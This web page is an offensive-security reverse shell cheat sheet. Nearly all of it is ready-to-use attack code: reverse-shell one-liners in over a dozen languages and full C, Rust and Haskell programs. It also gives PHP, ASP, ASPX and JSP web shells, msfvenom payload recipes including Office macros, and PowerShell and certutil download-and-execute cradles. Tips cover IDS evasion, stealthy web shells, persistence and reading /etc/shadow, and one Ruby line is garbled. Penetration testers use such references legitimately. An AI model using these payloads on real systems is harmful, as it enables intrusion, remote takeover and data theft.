← Back to Cheat Sheets
kavklaw@llm ~ /cheatsheets/reverse-shells

kavklaw@llm $ cat reverse-shells.md

Reverse Shell Cheat Sheet

Every reverse shell you'll ever need. Replace LHOST and LPORT with your IP and port.

Listener Setup

Always start your listener FIRST.

# Netcat listener
nc -lvnp 4444
rlwrap nc -lvnp 4444          # With readline (arrow keys work)

# Socat listener
socat file:`tty`,raw,echo=0 TCP-L:4444

# Socat encrypted listener
socat `tty`,raw,echo=0 OPENSSL-LISTEN:4444,cert=shell.pem,verify=0

# pwncat (auto-upgrade, persist, enum)
pwncat-cs -lp 4444

# Metasploit multi/handler
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD <payload>; set LHOST <ip>; set LPORT 4444; run"

Bash

# Standard bash reverse shell
bash -i >& /dev/tcp/LHOST/LPORT 0>&1

# Bash -c wrapper (use from exec/system calls)
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'

# Alternative with exec
exec 5<>/dev/tcp/LHOST/LPORT; cat <&5 | while read line; do $line 2>&5 >&5; done

# Base64 encoded (bypass bad chars)
echo 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' | base64
bash -c '{echo,YmFzaCAtaSA...}|{base64,-d}|bash'

# mkfifo (works when /dev/tcp unavailable)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc LHOST LPORT >/tmp/f

Python

# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Python 2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Python short (uses pty)
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

# Python Windows
python -c 'import socket,subprocess;s=socket.socket();s.connect(("LHOST",LPORT));subprocess.call(["cmd"],stdin=s,stdout=s,stderr=s)'

PHP

# PHP exec
php -r '$s=fsockopen("LHOST",LPORT);exec("/bin/bash <&3 >&3 2>&3");'

# PHP proc_open
php -r '$s=fsockopen("LHOST",LPORT);$p=proc_open("/bin/sh",array(0=>$s,1=>$s,2=>$s),$pipes);'

# PHP system (one-shot command execution)
php -r '$s=fsockopen("LHOST",LPORT);shell_exec("/bin/bash <&3 >&3 2>&3");'

# PHP popen
php -r '$s=fsockopen("LHOST",LPORT);popen("/bin/bash -i <&3 >&3 2>&3","r");'

# PHP Pentestmonkey (most reliable — download and edit)
# https://github.com/pentestmonkey/php-reverse-shell

Perl

# Perl
perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Perl no /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"LHOST:LPORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

# Ruby
ruby -rsocket -e'f=TCPSocket.open("LHOST",LPORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

# Ruby no exec
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("LHOST",LPORT);loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/444444/telerik)?(IO.popen($_,"r"){|io|c.print io.read}):((determine=system($_))?(c.puts "Done"):(c.puts "Fail"))}'

PowerShell

# PowerShell one-liner
powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=([text.encoding]::ASCII).GetBytes($r+'PS '+(pwd).Path+'> ');$s.Write($sb,0,$sb.Length);$s.Flush()}"

# PowerShell Base64 encoded
$c = New-Object System.Net.Sockets.TCPClient('LHOST',LPORT)
# ... encode with: powershell -enc <base64>

# PowerShell download cradle + exec
powershell -nop -ep bypass "IEX(New-Object Net.WebClient).DownloadString('http://LHOST/shell.ps1')"

# Nishang Invoke-PowerShellTcp
# https://github.com/samratashok/nishang
Invoke-PowerShellTcp -Reverse -IPAddress LHOST -Port LPORT

# ConPtyShell (full interactive)
# https://github.com/antonioCoco/ConPtyShell
powershell -nop "IEX(IWR http://LHOST/ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell LHOST LPORT"

Java

# Java Runtime exec
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'");

# Java reverse shell class
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do \\$line 2>&5 >&5; done"] as String[])
p.waitFor()

Netcat

# Netcat traditional
nc -e /bin/bash LHOST LPORT

# Netcat OpenBSD (no -e flag)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc LHOST LPORT >/tmp/f

# Netcat BusyBox
nc LHOST LPORT -e /bin/sh

# Ncat (nmap's netcat) with SSL
ncat --ssl LHOST LPORT -e /bin/bash

Socat

# Socat reverse shell (fully interactive TTY)
# Listener:
socat file:`tty`,raw,echo=0 TCP-L:LPORT

# Target:
socat TCP:LHOST:LPORT EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane

# Socat encrypted reverse shell
# Generate cert: openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt
# Combine: cat shell.key shell.crt > shell.pem

# Listener:
socat OPENSSL-LISTEN:LPORT,cert=shell.pem,verify=0 FILE:`tty`,raw,echo=0

# Target:
socat OPENSSL:LHOST:LPORT,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Golang

# Go reverse shell (compile and transfer)
echo 'package main;import("os/exec";"net");func main(){c,_:=net.Dial("tcp","LHOST:LPORT");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/r.go
go build -o /tmp/r /tmp/r.go && /tmp/r

Lua

# Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('LHOST','LPORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"

# Lua (alt)
lua5.1 -e 'local h=require("socket").tcp();h:connect("LHOST",LPORT);while true do local l,x=h:receive();local f=assert(io.popen(l,"r"));local r=f:read("*a");h:send(r);f:close();end'

Shell Upgrading

Raw reverse shells lack job control, tab completion, and Ctrl+C support. Fix that.

Python PTY Upgrade

# On target (inside reverse shell):
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Background the shell:
Ctrl+Z

# On attacker:
stty raw -echo; fg

# Back in shell, set terminal:
export TERM=xterm-256color
export SHELL=/bin/bash
stty rows 40 cols 160

Script Upgrade

# Alternative if python not available
script -qc /bin/bash /dev/null
# Then same Ctrl+Z, stty raw -echo; fg process

rlwrap

# Start listener with rlwrap for instant arrow key support
rlwrap nc -lvnp 4444

Web Shells

PHP Web Shells

# Simple one-liner
<?php system($_GET['cmd']); ?>

# Tiny web shell
<?=`$_GET[0]`?>

# POST-based (harder to detect in logs)
<?php echo shell_exec($_POST['cmd']); ?>

# Eval-based
<?php eval($_REQUEST['cmd']); ?>

# Usage: http://target/shell.php?cmd=id
# POST: curl -d 'cmd=id' http://target/shell.php

ASP / ASPX Web Shells

# ASP web shell
<% Set o = Server.CreateObject("WSCRIPT.SHELL") : Set r = o.exec("cmd /c " & Request("cmd")) : Response.Write(r.StdOut.ReadAll) %>

# ASPX web shell
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%= Process.Start(new ProcessStartInfo("cmd","/c " + Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}).StandardOutput.ReadToEnd() %>

JSP Web Shell

<% Runtime rt = Runtime.getRuntime(); String[] cmd = {"/bin/bash", "-c", request.getParameter("cmd")}; Process p = rt.exec(cmd); java.io.InputStream is = p.getInputStream(); int c; while ((c = is.read()) != -1) out.print((char)c); %>

msfvenom Payloads

Linux

# Linux reverse shell ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f elf -o shell.elf

# Linux Meterpreter ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=LHOST LPORT=LPORT -f elf -o meterpreter.elf

Windows

# Windows reverse shell EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f exe -o shell.exe

# Windows Meterpreter EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=LHOST LPORT=LPORT -f exe -o meterpreter.exe

# Windows DLL (for DLL hijacking)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f dll -o shell.dll

# Windows HTA
msfvenom -p windows/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f hta-psh -o shell.hta

Web Payloads

# PHP
msfvenom -p php/reverse_php LHOST=LHOST LPORT=LPORT -f raw -o shell.php

# JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f raw -o shell.jsp

# WAR (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f war -o shell.war

# ASP
msfvenom -p windows/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f asp -o shell.asp

# ASPX
msfvenom -p windows/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f aspx -o shell.aspx

Scripting Payloads

# Python
msfvenom -p cmd/unix/reverse_python LHOST=LHOST LPORT=LPORT -f raw

# Bash
msfvenom -p cmd/unix/reverse_bash LHOST=LHOST LPORT=LPORT -f raw

# PowerShell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f psh -o shell.ps1

# MSI (AlwaysInstallElevated privesc)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f msi -o shell.msi

C Reverse Shell

Compile on attacker, transfer to target. Works everywhere with a C compiler.

// revshell.c — Compile: gcc revshell.c -o revshell
#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

int main() {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(LPORT);
    addr.sin_addr.s_addr = inet_addr("LHOST");
    connect(sock, (struct sockaddr *)&addr, sizeof(addr));
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    execve("/bin/sh", NULL, NULL);
    return 0;
}

// Compile for target architecture:
gcc revshell.c -o revshell                     # Native
gcc -static revshell.c -o revshell             # Static (no dependencies)
x86_64-linux-gnu-gcc revshell.c -o revshell    # Cross-compile

// Windows C reverse shell (compile with MinGW):
// x86_64-w64-mingw32-gcc winshell.c -o winshell.exe -lws2_32

Rust Reverse Shell

// main.rs — Compile: rustc main.rs -o revshell
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

fn main() {
    let sock = TcpStream::connect("LHOST:LPORT").unwrap();
    let fd = sock.as_raw_fd();
    Command::new("/bin/sh")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait()
        .unwrap();
}

// Cross-compile for Linux:
// cargo build --release --target x86_64-unknown-linux-musl

Node.js Reverse Shell

# Node.js one-liner
node -e '(function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);var client=new net.Socket();client.connect(LPORT,"LHOST",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});})();'

# Node.js with require (CommonJS)
require("child_process").exec("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")

# Node.js (Windows)
node -e "var net=require('net'),cp=require('child_process'),sh=cp.spawn('cmd.exe');var c=new net.Socket();c.connect(LPORT,'LHOST',function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});"

Haskell Reverse Shell

# Requires Network package
# revshell.hs:
module Main where
import Network.Socket
import System.Process
import System.IO

main = do
  sock <- socket AF_INET Stream 0
  connect sock (SockAddrInet LPORT (tupleToHostAddress (LHOST_OCTETS)))
  h <- socketToHandle sock ReadWriteMode
  hDuplicateTo h stdin
  hDuplicateTo h stdout
  hDuplicateTo h stderr
  callProcess "/bin/sh" ["-i"]

# Compile: ghc revshell.hs -o revshell

Groovy Reverse Shell (Jenkins)

If you have access to a Jenkins Script Console (/script), you have RCE.

# Groovy reverse shell (Jenkins Script Console)
String host = "LHOST"
int port = LPORT
String cmd = "/bin/bash"
Process p = ["/bin/bash","-c","exec 5<>/dev/tcp/${host}/${port};cat <&5 | while read line; do \$line 2>&5 >&5; done"].execute()
p.waitFor()

# Alternative — Process builder
def sout = new StringBuilder(), serr = new StringBuilder()
def proc = ['bash', '-c', "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"].execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(5000)

# Groovy (Windows Jenkins)
def cmd = "cmd.exe /c powershell -nop -c \"\$c=New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){;\$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$sb=([text.encoding]::ASCII).GetBytes(\$r+'PS '+(pwd).Path+'> ');\$s.Write(\$sb,0,\$sb.Length);\$s.Flush()}\"".execute()

OpenSSL Encrypted Reverse Shell

Encrypted traffic — harder to detect by IDS/IPS.

# Generate certificate (attacker):
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj '/CN=localhost'

# Listener (attacker):
openssl s_server -quiet -key key.pem -cert cert.pem -port LPORT

# Target (connect and exec):
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect LHOST:LPORT > /tmp/s; rm /tmp/s

# Alternative with ncat:
# Listener: ncat --ssl -lvnp LPORT
# Target: ncat --ssl LHOST LPORT -e /bin/bash

Windows-Specific Shells

ConPtyShell — Fully Interactive Windows Shell

# The BEST option for a fully interactive Windows reverse shell
# https://github.com/antonioCoco/ConPtyShell

# On attacker:
stty raw -echo; (stty size; cat) | nc -lvnp LPORT

# On target (PowerShell):
IEX(IWR http://LHOST/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell LHOST LPORT

# Or download and invoke:
powershell -nop -ep bypass "IEX(New-Object Net.WebClient).DownloadString('http://LHOST/Invoke-ConPtyShell.ps1'); Invoke-ConPtyShell LHOST LPORT"

Invoke-PowerShellTcp (Nishang)

# https://github.com/samratashok/nishang
# Download Invoke-PowerShellTcp.ps1 and host it

# One-liner:
powershell -nop -ep bypass "IEX(New-Object Net.WebClient).DownloadString('http://LHOST/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress LHOST -Port LPORT"

# Or add to the end of the script:
# Invoke-PowerShellTcp -Reverse -IPAddress LHOST -Port LPORT
# Then: powershell -nop -ep bypass "IEX(New-Object Net.WebClient).DownloadString('http://LHOST/Invoke-PowerShellTcp.ps1')"

Powercat

# https://github.com/besimorhino/powercat
powershell -nop -ep bypass "IEX(New-Object Net.WebClient).DownloadString('http://LHOST/powercat.ps1'); powercat -c LHOST -p LPORT -e cmd"

# With encryption (uses AES):
powercat -c LHOST -p LPORT -e cmd -ge > encoded_shell.ps1
# Send encoded version to target

Windows One-Liners (cmd.exe)

# PowerShell download + exec (classic)
powershell -nop -w hidden -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://LHOST/shell.ps1')"

# Certutil + PowerShell
certutil -urlcache -split -f http://LHOST/nc.exe C:\Temp\nc.exe && C:\Temp\nc.exe LHOST LPORT -e cmd.exe

# MSBuild (no PowerShell, uses .NET)
# Create .csproj file with embedded shell code
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe shell.csproj

# rundll32 (JavaScript)
rundll32 javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").Run("powershell -nop -ep bypass IEX(New-Object Net.WebClient).DownloadString('http://LHOST/shell.ps1')")

msfvenom — Staged vs Stageless Payloads

Understanding the difference is crucial for choosing the right payload.

# STAGELESS (/) — entire payload in one package
# Larger file, but works without Metasploit handler
# Use with: nc, socat, any generic listener

# STAGED (/ → /) — small stager that downloads the full payload
# Smaller file, but REQUIRES Metasploit multi/handler
# Better for evading AV (smaller initial payload)

# ─── Linux Staged vs Stageless ─────────────────────

# Stageless (shell — basic)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f elf -o shell.elf

# Staged (shell — requires handler)
msfvenom -p linux/x64/shell/reverse_tcp LHOST=LHOST LPORT=LPORT -f elf -o shell_staged.elf

# Stageless (meterpreter — advanced)
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=LHOST LPORT=LPORT -f elf -o meterpreter.elf

# Staged (meterpreter)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=LHOST LPORT=LPORT -f elf -o meterpreter_staged.elf

# ─── Windows Staged vs Stageless ───────────────────

# Stageless
msfvenom -p windows/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f exe -o shell.exe

# Staged
msfvenom -p windows/x64/shell/reverse_tcp LHOST=LHOST LPORT=LPORT -f exe -o shell_staged.exe

# Stageless meterpreter
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=LHOST LPORT=LPORT -f exe -o met.exe

# Staged meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=LHOST LPORT=LPORT -f exe -o met_staged.exe

# ─── Special Formats ──────────────────────────────

# Windows DLL (for DLL hijacking / sideloading)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f dll -o shell.dll

# Windows Service EXE (for service exploitation)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f exe-service -o svc.exe

# MSI (AlwaysInstallElevated)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f msi -o shell.msi

# HTA (HTML Application)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f hta-psh -o shell.hta

# VBA macro (Office documents)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f vba-exe

# Linux shared object (.so)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f elf-so -o shell.so

# Python payload
msfvenom -p cmd/unix/reverse_python LHOST=LHOST LPORT=LPORT -f raw

# PowerShell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=LHOST LPORT=LPORT -f psh -o shell.ps1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=LHOST LPORT=LPORT -f psh-cmd -o shell_cmd.bat

Shell Stabilization — Full Guide

Getting a raw reverse shell is step 1. Making it usable is step 2. Here's every technique.

Method 1: Python PTY (Most Common)

# Step 1: Spawn a PTY (on target)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Or: python -c 'import pty; pty.spawn("/bin/bash")'

# Step 2: Background the shell
# Press: Ctrl+Z

# Step 3: Configure your terminal (on attacker)
stty raw -echo; fg

# Step 4: Set terminal environment (back in shell)
export TERM=xterm-256color
export SHELL=/bin/bash
export HOME=/home/$(whoami)

# Step 5: Set proper terminal size
# On attacker (separate terminal): stty size → e.g., "50 200"
stty rows 50 cols 200

# Now you have: tab completion, arrow keys, Ctrl+C (kills process not shell), clear screen

Method 2: script Command

# If python is not available, use script:
script -qc /bin/bash /dev/null
# Then same Ctrl+Z → stty raw -echo; fg → export TERM=xterm

Method 3: socat Fully Interactive

# On attacker (listener):
socat file:`tty`,raw,echo=0 tcp-listen:LPORT

# On target (if socat is available):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT

# Transfer socat to target if not installed:
# wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat
# chmod +x /tmp/socat

Method 4: pwncat-cs (Best Overall)

# Install: pip3 install pwncat-cs
# Listen:
pwncat-cs -lp LPORT

# Features:
# - Auto-upgrades shell to PTY
# - File upload/download built-in
# - Persistence mechanisms
# - Local command execution (prefix with !)
# - Enumeration built-in

# Usage (inside pwncat):
# upload /tmp/linpeas.sh /tmp/linpeas.sh
# download /etc/shadow
# !local_command
# run enumerate

Method 5: SSH Escape (if you get SSH creds)

# If you find SSH credentials during post-exploitation,
# ditch the reverse shell and SSH in for a proper terminal:
ssh user@TARGET

# Or generate a key pair:
ssh-keygen -t rsa -f key -N ""
# Copy key.pub to target's ~/.ssh/authorized_keys
# Then: ssh -i key user@TARGET